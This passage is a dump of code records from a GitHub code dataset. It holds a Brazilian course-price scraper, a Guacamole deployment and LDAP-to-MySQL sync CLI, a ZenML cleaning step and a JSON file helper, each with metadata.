"inventory.models.HeadingCapacity.objects.filter", "line_number": 18, "usage_type": "call"}, {"api_name": "inventory.models.HeadingCapacity.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "inventory.models.HeadingCapacity", "line_number": 18, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.reverse_lazy", "line_number": 20, "usage_type": "call"}, {"api_name": "django.views.generic.CreateView", "line_number": 24, "usage_type": "name"}, {"api_name": "inventory.models.HeadingCapacity", "line_number": 25, "usage_type": "name"}, {"api_name": "inventory.forms.HeadingCapacityForm", "line_number": 26, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 28, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 39, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 45, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 50, "usage_type": "call"}, {"api_name": "django.urls.reverse_lazy", "line_number": 56, "usage_type": "call"}, {"api_name": "django.views.generic.UpdateView", "line_number": 60, "usage_type": "name"}, {"api_name": "inventory.models.HeadingCapacity", "line_number": 61, "usage_type": "name"}, {"api_name": "inventory.forms.HeadingCapacityForm", "line_number": 62, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 64, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 75, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 81, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 86, "usage_type": "call"}, {"api_name": "django.urls.reverse_lazy", "line_number": 92, "usage_type": "call"}, {"api_name": "django.views.generic.DeleteView", "line_number": 96, "usage_type": "name"}, {"api_name": "inventory.models.HeadingCapacity", "line_number": 97, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 98, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 107, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 111, "usage_type": "call"}]}
{"seq_id": "23447914050", "text": "import requests\nimport json\nimport pandas as pd\nfrom bs4 import BeautifulSoup\n\nclass MercadoEdu:\n\tdef __init__(self, nome):\n\t\tself.data = None\n\t\tself.headers = {}\n\t\tself.nome = nome\n\t\tself.cache_Modalidades = None\n\t\tself.export = []\n\t\tself.form = self.verificar()\n\t\n\t# Centraliza todas as requisiçãos (requests) e faz o \n\t#tratamento de erros antes de qualquer conexão seja feita\n\t\n\tdef conectar(self, url):\n\t\ttry:\n\t\t\tr = requests.get(url, headers = self.headers)\n\t\t\tif(r.status_code == 200):\n\t\t\t\treturn r\n\t\t\telse:\n\t\t\t\tprint(f'Erro na conexão {r.status_code}')\n\t\texcept requests.exceptions.RequestException as e:\n\t\t\tprint(f'Houve algum erro na requisição {e}')\n\n\t# Faz a busca na api de todas modalidades para o curso determinado\n\tdef modalidades(self):\n\t\tif self.cache_Modalidades is not None:\n\t\t\treturn self.cache_Modalidades\n\t\tcodigo = self.codigoCurso(self.nome)\n\t\tquery = f'/estados-por-modalidades?idsMarca=1&codigoTipoCurso=11&codigoCurso={codigo}&modalidades=PRESENCIAL,TOTAL%20EAD,SEMIPRESENCIAL,AO%20VIVO'\n\t\tr = self.api(query)\n\t\tdados = json.loads(r.text)\n\t\tself.cache_Modalidades = dados\n\t\treturn dados\t\t\n\n\t# Chamada para a api url base e a query\n\tdef api(self, query):\n\t\tendpoint = f'https://api.portal.estacio.br/ofertas/api/v1/ofertas'\n\t\tr = self.conectar(f'{endpoint}{query}')\n\t\treturn r\n\t\n\t# Faz o scrap para buscar os códigos dos cursos \n\tdef verificar(self):\n\t\tif self.data is not None:\n\t\t\treturn self.data\n\t\t\n\t\turl = f'https://aprenda.estacio.br/selecao?formacao=grad'\n\t\tself.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'\n\t\tform = self.conectar(url)\n\t\tsoup = BeautifulSoup(form.text, 'html.parser')\n\t\t\n\t\ttry:\n\t\t\titem = soup.find('script', {'id': '__NEXT_DATA__'})\n\t\t\tjs = json.loads(item.text)\n\t\t\tcurso_data = [{'codigo': a.get('code'), 'nome' : a.get('name')} for a in js['props'].get('pageProps').get('courses')]\n\t\t\tself.data = curso_data\n\t\t\treturn self.data\n\t\texcept Exception as e:\n\t\t\tprint(\"Houve algum erro no Elemento soup find {e}\")\n\t# Procura um curso por nome e retorna o código do curso\n\tdef codigoCurso(self, nome):\n\t\titem = [a.get('codigo') for a in self.data if a.get('nome') == nome]\n\t\treturn next(iter(item))\n\n\t#  Faz a extração dos dados necessários \n\t# (Nome do curso, modalidade, Turno, Cidade, Bairro/local, Valor normal e valor com desconto)\n\tdef extrair(self):\n\t\tcodigo = self.codigoCurso(self.nome)\n\t\tfor a in [*self.modalidades()['map'].keys()]:\n\t\t\tquery = f'?idsMarca=1&uf=RS&codigoTipoCurso=11&codigoCurso={codigo}&modalidade='\n\t\t\tr = self.api(f'{query}{a}')\n\t\t\tdata = json.loads(r.text)\n\t\t\tf = [self.export.append(\n\t\t\t\t{'NOME_DO_CURSO': self.nome, 'MODALIDADE' : a.get('modalidade'),\n\t\t\t\t'TURNO' : a.get('nomeTurno'), 'CIDADE' : a['endereco'].get('municipio'),  \n\t\t\t\t'LOCAL' : a['endereco'].get('bairro'), 'PRECO' : a.get('valorDe'), \n\t\t\t\t\t'PRECO_COM_DESCONTO': a.get('valorPara')})\n\t\t\t\t\t for a in data]\n\t\treturn self.export\n\t# Retorna o DataFrame a partir da extração\n\tdef dados(self):\n\t\t#self.modalidades()\n\t\tdf = pd.DataFrame(self.extrair())\n\t\treturn df", "repo_name": "glauberpaim/MercadoEdu", "sub_path": "Medu.py", "file_name": "Medu.py", "file_ext": "py", "file_size_in_byte": 3112, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 20, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 25, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 35, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 53, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 57, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 75, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 86, "usage_type": "call"}]}
{"seq_id": "70573863591", "text": "def sql_insert(engine, conn, table, **kwargs):\n    import sqlalchemy\n    from sqlalchemy.dialects.mysql import insert\n    metadata = sqlalchemy.MetaData()\n    table_obj = sqlalchemy.Table(table, metadata, autoload=True, autoload_with=engine)\n    insert_statement = insert(table_obj).values(**kwargs)\n    on_duplicate = insert_statement.on_duplicate_key_update(**kwargs)\n    return conn.execute(on_duplicate)\n\n\ndef check_container_status(container_name, timeout):\n    import docker\n    import time\n    client = docker.from_env()\n    active = False\n    counter = 0\n    while not active:\n        try:\n            container = client.containers.get(container_name)\n            if container.attrs['State']['Health']['Status'] == 'healthy':\n                active = True\n            else:\n                print(\"waiting for mysql...\")\n                time.sleep(10)\n                counter += 1\n        except:\n            import traceback\n            print(traceback.format_exc())\n            counter += 1\n            time.sleep(10)\n        if counter > (timeout / 10):\n            print(\"Timeout reached, container not available.\")\n            active = True\n\n\ndef check_port(ip, port):\n    import socket\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    try:\n        s.connect((ip, int(port)))\n        s.shutdown(2)\n        return True\n    except:\n        return False\n\n\ndef cprint(string, color='OKGREEN'):\n    colors = {'OKBLUE': '\\033[94m',\n              'OKGREEN': '\\033[92m',\n              'WARNING': '\\033[93m',\n              'FAIL': '\\033[91m',\n              'BOLD': '\\033[1m',\n              'HEADER': '\\033[95m',\n              'UNDERLINE': '\\033[4m'}\n    print(f'{colors[color]}{string}\\033[0m')\n\n\ndef main():\n    import subprocess\n    import yaml\n    import docker\n    import os\n    import yamlarg\n    import shutil\n    import sys\n\n    pkgdir = sys.modules['guacamole_compose'].__path__[0]\n    args = yamlarg.parse(os.path.join(pkgdir, 'arguments.yaml'))\n\n    if args['version']:\n        with open(os.path.join(pkgdir, 'VERSION'), 'r') as f:\n            print(f.read())\n\n    if args['init']:\n        # Check if guacamole-compose is being ran as sudo.\n        if os.getenv(\"SUDO_USER\") is not None:\n            cprint(\"Initialization failed! Do not run 'guacamole-compose --init' as sudo.\", 'FAIL')\n        else:\n            print(\"Creating structure and paramters.yaml...\")\n            for folder in ['./guacamole_home',\n                           './guacamole_home/extensions',\n                           './nginx',\n                           './nginx/conf',\n                           './nginx/certs',\n                           './nginx/auth',\n                           './haproxy',\n                           './haproxy/certs',\n                           './tomcat',\n                           './shared']:\n                if not os.path.exists(folder):\n                    os.makedirs(folder)\n            pkgfiles = {'parameters.yaml': './parameters.yaml',\n                        'nginx_init.conf': './nginx/conf/nginx.conf',\n                        'haproxy_init.cfg': './haproxy/haproxy.cfg',\n                        'server.xml': './tomcat/server.xml'}\n            for pkgfile, dstfile in pkgfiles.items():\n                if not os.path.isfile(dstfile):\n                    shutil.copy(os.path.join(pkgdir, 'templates/' + pkgfile), dstfile)\n    elif not args['init'] and not args['version']:\n        params = yaml.load(open('parameters.yaml', 'r'), Loader=yaml.FullLoader)\n        client = docker.from_env()\n\n        if args['clean']:\n            print(\"Running docker-compose down...\")\n            try:\n                docker_compose_cmd = subprocess.run(['docker-compose down'], shell=True)\n            except:\n                import traceback\n                print(traceback.format_exc())\n            print(\"Clearing generated directories...\")\n            client.containers.prune()\n            client.volumes.prune()\n            # Commented out the image prune - so if guacamole images weren't\n            # updated, you don't have to download them again.\n            # client.images.prune(filters={'dangling': True})\n            for folder in ['./shared',\n                           './mysql',\n                           './init']:\n                if os.path.exists(folder):\n                    shutil.rmtree(folder)\n            if args['nginx']:\n                if os.path.exists('./nginx/conf'):\n                    shutil.rmtree('./nginx/conf')\n\n        if args['deploy']:\n            import string\n            print(\"Generating configs...\")\n            if args['nginx']:\n                nginx_conf_template = string.Template(open(os.path.join(pkgdir, 'templates/nginx_conf.template'),\n                                                           'r').read())\n                with open('./nginx/conf/nginx.conf', 'w') as f:\n                    f.write(nginx_conf_template.substitute(**params))\n            if args['haproxy_cfg']:\n                haproxy_conf_template = string.Template(open(os.path.join(pkgdir, 'templates/haproxy.template'),\n                                                             'r').read())\n                with open('./haproxy/haproxy.cfg', 'w') as f:\n                    f.write(haproxy_conf_template.substitute(**params))\n            with open('./guacamole_home/guacamole.properties', 'w') as f:\n                yaml.dump(params['guacamole-properties'], open('./guacamole_home/guacamole.properties', 'w'))\n            if 'ldap-hostname' in params['guacamole-properties']:\n                # Copies the guacamole-auth-ldap if ldap is configured.\n                shutil.copy(os.path.join(pkgdir, 'templates/guacamole-auth-ldap-1.3.0.jar'),\n                            os.path.join(os.getcwd(), 'guacamole_home/extensions'))\n            else:\n                # Copies the guacamole-auth-radius if the new method is used without ldap - defaults to radius.\n                shutil.copy(os.path.join(pkgdir, 'templates/guacamole-auth-radius-1.3.0.jar'),\n                            os.path.join(os.getcwd(), 'guacamole_home/extensions'))\n            if args['haproxy']:\n                docker_compose_template = string.Template(\n                    open(os.path.join(pkgdir, 'templates/docker-compose.yml.haproxy.template'), 'r').read())\n            else:\n                docker_compose_template = string.Template(\n                    open(os.path.join(pkgdir, 'templates/docker-compose.yml.template'), 'r').read())\n            with open('./docker-compose.yml', 'w') as f:\n                f.write(docker_compose_template.substitute(**params))\n            mysql_init_template = string.Template(\n                open(os.path.join(pkgdir, 'templates/initdb.sh.template'), 'r').read())\n            with open('./initdb.sh', 'w') as f:\n                f.write(mysql_init_template.substitute(**params))\n            shutil.copy(os.path.join(pkgdir, 'templates/initdb.sql.script'),'./initdb.sql.script')\n\n            print(\"Deploying...\")\n            try:\n                docker_compose_cmd = subprocess.run(['docker-compose pull'], shell=True)\n            except:\n                import traceback\n                print(traceback.format_exc())\n            try:\n                docker_compose_cmd = subprocess.run(['docker-compose up -d'], shell=True)\n                # Clean-up unused images.\n                client.images.prune()\n            except:\n                import traceback\n                print(traceback.format_exc())\n        if args['ldap']:\n            # Connect to ldap\n            from ldap3 import Server, Connection, ALL, NTLM, ALL_ATTRIBUTES\n            import json\n            from copy import deepcopy\n            import sqlalchemy\n            import hashlib\n            import uuid\n            from datetime import datetime\n            server = Server(params['guacamole-properties']['ldap-hostname'],\n                            get_info=ALL)\n            ldap_conn = Connection(server=server,\n                                   user=params['guacamole-properties']['ldap-search-bind-dn'],\n                                   password=params['guacamole-properties']['ldap-search-bind-password'],\n                                   auto_bind=True)\n            #domain_dn = ','.join(['DC=' + d for d in params['ldap']['ldap_domain'].split('.')])\n\n            # Connect to MySQL\n            print(\"Waiting for mysql availability...\")\n            check_container_status('mysql', 120)\n            engine = sqlalchemy.create_engine('mysql+pymysql://' +\n                                              params['mysql_user'] + ':' +\n                                              params['mysql_password'] + '@127.0.0.1:3306/guacamole_db')\n            with engine.begin() as sql_conn:\n                # Set guacadmin password\n                metadata = sqlalchemy.MetaData()\n                guacamole_entity = sqlalchemy.Table('guacamole_entity', metadata, autoload=True, autoload_with=engine)\n                guacamole_user = sqlalchemy.Table('guacamole_user', metadata, autoload=True, autoload_with=engine)\n                sql_insert(engine, sql_conn, 'guacamole_entity',\n                           name='guacadmin',\n                           type='USER')\n                entity_id = sqlalchemy.select([guacamole_entity]).where(guacamole_entity.columns.name == 'guacadmin')\n                result = sql_conn.execute(entity_id)\n                entity_id_value = result.fetchone()[0]\n                password_salt = hashlib.sha256(str(uuid.uuid1().bytes).encode('utf-8'))\n                password_hash = hashlib.sha256((params['guacadmin_password'] + password_salt.hexdigest().upper()).encode('utf-8'))\n                sql_insert(engine, sql_conn, 'guacamole_user',\n                           entity_id=entity_id_value,\n                           password_hash=password_hash.digest(),\n                           password_salt=password_salt.digest(),\n                           password_date=datetime.now())\n            # Create connections\n            with engine.begin() as sql_conn:\n                connections = list()\n                connection_ids = dict()\n                connection_search_filter = params['guacamole-properties']['ldap-user-search-filter'].replace('objectCategory=User', 'objectCategory=Computer')\n                ldap_conn.search(search_base=params['guacamole-properties']['ldap-group-base-dn'],\n                                 search_filter=connection_search_filter,\n                                 attributes=ALL_ATTRIBUTES)\n                computers = json.loads(ldap_conn.response_to_json())\n                connection_names = dict()\n                for computer in computers['entries']:\n                    if params['auto_connection_dns']:\n                        hostname = computer['attributes']['dNSHostName']\n                        conn_name = hostname\n                    else:\n                        import dns.resolver\n    \n                        dns.resolver.default_resolver = dns.resolver.Resolver(configure=False)\n                        dns.resolver.default_resolver.nameservers = [params['auto_connection_dns_resolver']]\n                        hostname = dns.resolver.resolve(computer['attributes']['dNSHostName'], 'a').response.answer[0][\n                            0].address\n                        conn_name = computer['attributes']['dNSHostName'] + \" - \" + hostname\n                    connection = params['auto_connections']\n                    connection['connection']['connection_name'] = conn_name\n                    connection['parameters']['hostname'] = hostname\n                    connections.append(deepcopy(connection))\n                    connection_names[conn_name] = computer\n                if 'manual_connections' in params.keys():\n                    for connection in params['manual_connections']:\n                        connections.append(deepcopy(connection))\n                for connection in connections:\n                    sql_insert(engine, sql_conn, 'guacamole_connection',\n                               **connection['connection'])\n                    conn_name = connection['connection']['connection_name']\n                    connection_id = \\\n                    sql_conn.execute('SELECT connection_id from guacamole_connection WHERE connection_name = \"' +\n                                   conn_name + '\";').fetchone()['connection_id']\n                    for parameter_name, parameter_value in connection['parameters'].items():\n                        sql_insert(engine, sql_conn, 'guacamole_connection_parameter',\n                                   connection_id=connection_id,\n                                   parameter_name=parameter_name,\n                                   parameter_value=parameter_value)\n                    connection_ids[connection_id] = conn_name\n    \n                # Clean up undefined connections.\n                connections = sql_conn.execute('SELECT * from guacamole_connection;').fetchall()\n                for connection in connections:\n                    if connection['connection_id'] not in connection_ids:\n                        sql_conn.execute(\n                            'DELETE from guacamole_connection WHERE connection_id = ' + str(connection['connection_id']) + ';')\n\n            # Create user groups .\n            with engine.begin() as sql_conn:\n                group_search_filter = params['guacamole-properties']['ldap-user-search-filter'].replace(\n                    'objectCategory=User', 'objectCategory=Group')\n                ldap_conn.search(search_base=params['guacamole-properties']['ldap-group-base-dn'],\n                                 search_filter=group_search_filter,\n                                 attributes=ALL_ATTRIBUTES)\n                ldap_groups = json.loads(ldap_conn.response_to_json())\n                for group in ldap_groups['entries']:\n                    cn = group['attributes']['cn']\n                    dn = group['attributes']['distinguishedName']\n                    sql_insert(engine, sql_conn, 'guacamole_entity',\n                               **{'name': cn, 'type': 'USER_GROUP'})\n                    entity_id = sql_conn.execute('SELECT entity_id from guacamole_entity WHERE name = \"' +\n                                               cn + '\";').fetchone()['entity_id']\n                    sql_insert(engine, sql_conn, 'guacamole_user_group',\n                               **{'entity_id': entity_id,\n                                  'disabled': 0})\n                    for conn_name, computer in connection_names.items():\n                        sql_statement = 'SELECT connection_id from guacamole_connection WHERE connection_name = \"' + \\\n                                        conn_name + '\";'\n                        connection_id = sql_conn.execute(sql_statement).fetchone()['connection_id']\n                        if dn in computer['attributes']['memberOf']:\n                            sql_insert(engine, sql_conn, 'guacamole_connection_permission',\n                                       **{'entity_id': entity_id,\n                                          'connection_id': connection_id,\n                                          'permission': 'READ'})\n                        else:\n                            sql_conn.execute('DELETE from guacamole_connection_permission WHERE entity_id = ' +\n                                           str(entity_id) + ' AND connection_id = ' + str(connection_id) + ';')\n\n            with engine.begin() as sql_conn:\n                if 'manual_permissions' in params.keys():\n                    for conn_name, groups in params['manual_permissions'].items():\n                        sql_statement = 'SELECT connection_id from guacamole_connection WHERE connection_name = \"' + \\\n                                        conn_name + '\";'\n                        connection_id = sql_conn.execute(sql_statement).fetchone()['connection_id']\n                        entity_ids = list()\n                        for cn in groups:\n                            entity = sql_conn.execute('SELECT entity_id from guacamole_entity WHERE name = \"' +\n                                                    cn + '\";').fetchone()\n                            if entity is not None:\n                                entity_id = entity['entity_id']\n                                entity_ids.append(str(entity_id))\n                            else:\n                                print('Manually specified group \"' + cn + '\" does not exist.')\n                        if len(entity_ids) > 0:\n                            sql_conn.execute('DELETE from guacamole_connection_permission WHERE connection_id = ' +\n                                           str(connection_id) + ' AND entity_id NOT IN (' + ','.join(entity_ids) + ');')\n                        for entity_id in entity_ids:\n                            sql_insert(engine, sql_conn, 'guacamole_connection_permission',\n                                       **{'entity_id': entity_id,\n                                          'connection_id': connection_id,\n                                          'permission': 'READ'})\n            # Give guacadmin user permission to all connections and user groups.\n            with engine.begin() as sql_conn:\n                sql_statement = 'SELECT entity_id FROM guacamole_entity WHERE name = \"guacadmin\"'\n                guacadmin_entity_id = sql_conn.execute(sql_statement).fetchone()['entity_id']\n                for connection_id in connection_ids.keys():\n                    for permission in ['READ', 'UPDATE', 'DELETE', 'ADMINISTER']:\n                        sql_insert(engine, sql_conn, 'guacamole_connection_permission',\n                                   **{'entity_id': guacadmin_entity_id,\n                                      'connection_id': connection_id,\n                                      'permission': permission})\n                groups = sql_conn.execute('SELECT * from guacamole_user_group;').fetchall()\n                for group in groups:\n                    for permission in ['READ', 'UPDATE', 'DELETE', 'ADMINISTER']:\n                        sql_insert(engine, sql_conn, 'guacamole_user_group_permission',\n                                   **{'entity_id': guacadmin_entity_id,\n                                      'affected_user_group_id': group['user_group_id'],\n                                      'permission': permission})\n", "repo_name": "alphabet5/guacamole-compose", "sub_path": "guacamole_compose/cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 18415, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sqlalchemy.MetaData", "line_number": 4, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 5, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.mysql.insert", "line_number": 6, "usage_type": "call"}, {"api_name": "docker.from_env", "line_number": 14, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 24, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 28, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 30, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 38, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 38, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 38, "usage_type": "attribute"}, {"api_name": "sys.modules", "line_number": 67, "usage_type": "attribute"}, {"api_name": "yamlarg.parse", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path", "line_number": 90, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "shutil.copy", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 100, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 100, "usage_type": "attribute"}, {"api_name": "docker.from_env", "line_number": 101, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 106, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 123, "usage_type": "call"}, {"api_name": "string.Template", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path", "line_number": 129, "usage_type": "attribute"}, {"api_name": "string.Template", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "yaml.dump", "line_number": 139, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 142, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 142, "usage_type": "call"}, {"api_name": "os.path", "line_number": 142, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path", "line_number": 143, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 143, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path", "line_number": 146, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path", "line_number": 147, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 147, "usage_type": "call"}, {"api_name": "string.Template", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 150, "usage_type": "call"}, {"api_name": "os.path", "line_number": 150, "usage_type": "attribute"}, {"api_name": "string.Template", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path", "line_number": 153, "usage_type": "attribute"}, {"api_name": "string.Template", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 157, "usage_type": "call"}, {"api_name": "os.path", "line_number": 157, "usage_type": "attribute"}, {"api_name": "shutil.copy", "line_number": 160, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 160, "usage_type": "call"}, {"api_name": "os.path", "line_number": 160, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 164, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 167, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 169, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 174, "usage_type": "call"}, {"api_name": "ldap3.Server", "line_number": 184, "usage_type": "call"}, {"api_name": "ldap3.ALL", "line_number": 185, "usage_type": "name"}, {"api_name": "ldap3.Connection", "line_number": 186, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 195, "usage_type": "call"}, {"api_name": "sqlalchemy.MetaData", "line_number": 200, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 201, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 202, "usage_type": "call"}, {"api_name": "sqlalchemy.select", "line_number": 206, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 209, "usage_type": "call"}, {"api_name": "uuid.uuid1", "line_number": 209, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 210, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 215, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 215, "usage_type": "name"}, {"api_name": "ldap3.ALL_ATTRIBUTES", "line_number": 223, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 224, "usage_type": "call"}, {"api_name": "dns.resolver.resolver", "line_number": 233, "usage_type": "attribute"}, {"api_name": "dns.resolver", "line_number": 233, "usage_type": "name"}, {"api_name": "dns.resolver.resolver.Resolver", "line_number": 233, "usage_type": "call"}, {"api_name": "dns.resolver.resolver", "line_number": 234, "usage_type": "attribute"}, {"api_name": "dns.resolver", "line_number": 234, "usage_type": "name"}, {"api_name": "dns.resolver.resolver.resolve", "line_number": 235, "usage_type": "call"}, {"api_name": "dns.resolver.resolver", "line_number": 235, "usage_type": "attribute"}, {"api_name": "dns.resolver", "line_number": 235, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 241, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 245, "usage_type": "call"}, {"api_name": "ldap3.ALL_ATTRIBUTES", "line_number": 273, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 274, "usage_type": "call"}]}
{"seq_id": "71684510309", "text": "import logging\nimport pandas as pd\n\nfrom zenml import step\nimport os\nfrom components.component_data_cleaning import DataCleaning\nfrom typing import Tuple, Annotated\nimport pandas as pd\n\nFILE_NAME = os.path.basename(__file__)\n\n\n@step(enable_cache=False)\ndef process_clean_data(data: pd.DataFrame) -> Tuple[Annotated[pd.DataFrame, \"X_train\"], Annotated[pd.DataFrame,\n                                                                                                  \"X_test\"], Annotated[pd.Series,\n                                                                                                                       \"y_train\"], Annotated[pd.Series, \"y_test\"]]:\n    try:\n        logging.info(f\"Start cleaning {FILE_NAME}\")\n\n        cleaner = DataCleaning(data)\n        cleaned_data = cleaner.clean_data()\n        logging.info(f\"Enf of cleaning {FILE_NAME}\")\n\n        logging.info(f\"Start splitting {FILE_NAME}\")\n        X_train, X_test, y_train, y_test = cleaner.divide_data(cleaned_data)\n        logging.info(f\"Enf of splitting {FILE_NAME}\")\n\n        return X_train, X_test, y_train, y_test\n\n    except Exception as e:\n        logging.error(f\"Error for {FILE_NAME}: {e}\")\n        raise e\n", "repo_name": "TPQuentin/MLOps_Health_Insurance", "sub_path": "steps/step_clean_data.py", "file_name": "step_clean_data.py", "file_ext": "py", "file_size_in_byte": 1186, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.basename", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 14, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 18, "usage_type": "call"}, {"api_name": "components.component_data_cleaning.DataCleaning", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 22, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 26, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 31, "usage_type": "call"}, {"api_name": "zenml.step", "line_number": 13, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Annotated", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Annotated", "line_number": 15, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 15, "usage_type": "attribute"}, {"api_name": "typing.Annotated", "line_number": 16, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 16, "usage_type": "attribute"}]}
{"seq_id": "72042335270", "text": "import json\nimport os\n\n\nclass JsonFileHandler():\n    def __init__(self):\n        print(\"hello W\")\n        self.filename = None\n        self.data = None\n\n    def open_json_file(self, filename):\n        self.filename = filename\n        if os.path.exists(self.filename):\n            with open(self.filename, \"r\") as file:\n                self.data = json.load(file)\n                self.user_request_index = len(self.data)\n        else:\n            self.data = []\n            self.user_request_index = 0\n        print(\"Opened file\")\n\n\n    def get_json_data(self):\n        return self.data\n\n    def save_json_file(self):\n        with open(self.filename, \"w\") as file:\n            json.dump(self.data, file)\n        print(\"Saved file\")\n\n    def add_json_data(self, data):\n        self.data.append(data)", "repo_name": "danieluxury88/GeneralKnowledge_SoftwareDevelopment", "sub_path": "A_MyCLIApp/utils/json_file_handler.py", "file_name": "json_file_handler.py", "file_ext": "py", "file_size_in_byte": 797, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.exists", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 